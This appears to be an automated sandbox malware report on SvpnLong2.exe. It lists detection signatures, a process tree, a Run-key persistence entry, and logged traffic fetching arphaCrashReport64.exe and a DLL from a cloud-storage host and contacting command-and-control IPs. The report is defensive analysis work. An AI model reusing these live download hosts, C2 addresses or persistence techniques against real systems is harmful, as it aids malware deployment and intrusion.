Edit tour

Windows Analysis Report
SvpnLong2.exe

Overview

General Information

Sample name:	SvpnLong2.exe
Analysis ID:	1483468
MD5:	553f06cf08e33d5f59e69a45458d72e0
SHA1:	3b5fac3c1b19bf320e5eafc686175c9fbe5f1176
SHA256:	cc47d665e94711b5ed3c955d966f8357fc63cc39717c859505aa6e0aeacf227c
Tags:	exe
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (creates a PE file in dynamic memory)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Contains functionality to capture and log keystrokes

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a DirectInput object (often for capturing keystrokes)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a global mouse hook

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

SvpnLong2.exe (PID: 7340 cmdline: "C:\Users\user\Desktop\SvpnLong2.exe" MD5: 553F06CF08E33D5F59E69A45458D72E0)

arphaCrashReport64.exe (PID: 7940 cmdline: "C:\ProgramData\tusyk\arphaCrashReport64.exe" MD5: 8B5D51DF7BBD67AEB51E9B9DEE6BC84A)

arphaCrashReport64.exe (PID: 8028 cmdline: "C:\ProgramData\tusyk\arphaCrashReport64.exe" MD5: 8B5D51DF7BBD67AEB51E9B9DEE6BC84A)

cleanup

Sigma Signatures

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\tusyk\arphaCrashReport64.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\SvpnLong2.exe, ProcessId: 7340, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\tjvefb

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 154.82.85.193 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T16:50:02.789176+0200
SID:	2011803
Source Port:	9000
Destination Port:	49742
Protocol:	TCP
Classtype:	Executable code was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.68.123.157 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T16:49:20.936213+0200
SID:	2022930
Source Port:	443
Destination Port:	49732
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.68.123.157 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T16:49:59.309862+0200
SID:	2022930
Source Port:	443
Destination Port:	49741
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\tusyk\arphaDump64.dll	ReversingLabs: Detection: 54%
Source: C:\ProgramData\tusyk\arphaDump64.dll	Virustotal: Detection: 46%			Perma Link

Multi AV Scanner detection for submitted file

Source: SvpnLong2.exe

Virustotal: Detection: 10%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\SvpnLong2.exe	Unpacked PE file: 0.2.SvpnLong2.exe.1840000.5.unpack
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Unpacked PE file: 4.2.arphaCrashReport64.exe.28300420000.4.unpack

Source: unknown	HTTPS traffic detected: 39.97.203.118:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.97.203.118:443 -> 192.168.2.4:49740 version: TLS 1.2

Source: SvpnLong2.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\workspace\NEMU\out\win.amd64\release\obj\NemuDTrace\NemuDTrace.pdb source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\jenkins\workspace\ci.arphasdk.build\qtc_out\Release_X64\arphaCrashReport64.exe.pdb source: arphaCrashReport64.exe, 00000004.00000000.2254093981.00007FF700F42000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000004.00000002.2927177585.00007FF700F42000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000005.00000002.2927141283.00007FF700F42000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000005.00000000.2334798180.00007FF700F42000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe.0.dr
Source:	Binary string: C:\Users\Admin\Documents\Visual Studio 2008\Projects\D11\x64\Release\D11.pdb source: arphaCrashReport64.exe, 00000004.00000002.2927296184.00007FFDFB8BA000.00000002.00000001.01000000.00000008.sdmp, arphaCrashReport64.exe, 00000005.00000002.2927256085.00007FFDFB8BA000.00000002.00000001.01000000.00000008.sdmp, arphaDump64.dll.0.dr
Source:	Binary string: D:\workspace\NEMU\out\win.amd64\release\obj\NemuDTrace\NemuDTrace.pdb!` source: SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_0184EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_0184EF20
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_000002830042EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	4_2_000002830042EF20
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00007FF700F38F78 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,	4_2_00007FF700F38F78
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3D9EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	5_2_0000016AA3D9EF20

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 4x nop then psraw mm1, 0Fh	0_3_000000018000E960
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 4x nop then psraw mm1, 0Fh	0_3_000000018000E960
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 4x nop then psraw mm1, 0Fh	0_3_000000018000E960

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 280
Source: unknown	Network traffic detected: HTTP traffic on port 280 -> 49730

Source: global traffic	TCP traffic: 192.168.2.4:49730 -> 154.82.85.236:280
Source: global traffic	TCP traffic: 192.168.2.4:49731 -> 154.82.85.193:9000

Source: global traffic	HTTP traffic detected: GET /arphaCrashReport64.exe HTTP/1.1Connection: Keep-AliveHost: jerryrat2024.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /arphaDump64.dll HTTP/1.1Connection: Keep-AliveHost: jerryrat2024.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /Test.txt HTTP/1.1Connection: Keep-AliveHost: 154.82.85.236:280

Source: Joe Sandbox View	IP Address: 154.82.85.193 154.82.85.193
Source: Joe Sandbox View	IP Address: 154.82.85.236 154.82.85.236
Source: Joe Sandbox View	IP Address: 39.97.203.118 39.97.203.118

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.236
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.236
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.236
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.236
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.236
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.193

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_3_0000000180001730 select,recv,_errno,_errno,_errno,setsockopt,closesocket,

0_3_0000000180001730

Source: global traffic	HTTP traffic detected: GET /arphaCrashReport64.exe HTTP/1.1Connection: Keep-AliveHost: jerryrat2024.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /arphaDump64.dll HTTP/1.1Connection: Keep-AliveHost: jerryrat2024.oss-cn-beijing.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /Test.txt HTTP/1.1Connection: Keep-AliveHost: 154.82.85.236:280

Source: global traffic

DNS traffic detected: DNS query: jerryrat2024.oss-cn-beijing.aliyuncs.com

Source: SvpnLong2.exe, 00000000.00000003.2078448636.0000000000A0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digice
Source: SvpnLong2.exe, 00000000.00000003.2734932479.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2927455796.00000000046A0000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2134713484.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2735148564.00000000009F6000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926143223.00000000009F7000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2927233206.0000000003490000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2078025451.0000000000A04000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: SvpnLong2.exe, 00000000.00000003.2078448636.0000000000A0C000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2735032194.0000000000A04000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2735097494.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2078025451.0000000000A04000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: SvpnLong2.exe, 00000000.00000003.2078448636.0000000000A0C000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2735032194.0000000000A04000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2734932479.0000000000A18000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2927455796.00000000046A0000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2134755874.0000000000A16000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2735097494.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2078025451.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2927233206.0000000003490000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2078025451.0000000000A04000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: arphaDump64.dll.0.dr	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: arphaDump64.dll.0.dr	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawtePCA.crl0
Source: SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: SvpnLong2.exe, 00000000.00000003.2734932479.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2927455796.00000000046A0000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2134713484.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2735148564.00000000009F6000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926143223.00000000009F7000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2078435289.0000000000A16000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2927233206.0000000003490000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2078025451.0000000000A04000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: SvpnLong2.exe, 00000000.00000003.2078448636.0000000000A0C000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2735032194.0000000000A04000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2735097494.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2078025451.0000000000A04000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: SvpnLong2.exe, 00000000.00000003.2734932479.0000000000A18000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2134755874.0000000000A16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cs-g2-crl.thawte.com/ThawteCSG2.crl0
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: SvpnLong2.exe, 00000000.00000003.2078448636.0000000000A0C000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2735032194.0000000000A04000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2734932479.0000000000A18000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2927455796.00000000046A0000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2134755874.0000000000A16000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2735097494.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2078025451.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2927233206.0000000003490000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2078025451.0000000000A04000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: SvpnLong2.exe, 00000000.00000003.2078448636.0000000000A0C000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2734932479.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2927455796.00000000046A0000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2134713484.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2735148564.00000000009F6000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926143223.00000000009F7000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2927233206.0000000003490000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2078025451.0000000000A04000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: SvpnLong2.exe, 00000000.00000003.2078448636.0000000000A0C000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2735032194.0000000000A04000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2735097494.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2078025451.0000000000A04000.00000004.00000020.00020000.00000000.sdmp, arphaDump64.dll.0.dr, arphaCrashReport64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: arphaDump64.dll.0.dr	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: arphaDump64.dll.0.dr	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: arphaDump64.dll.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: arphaDump64.dll.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
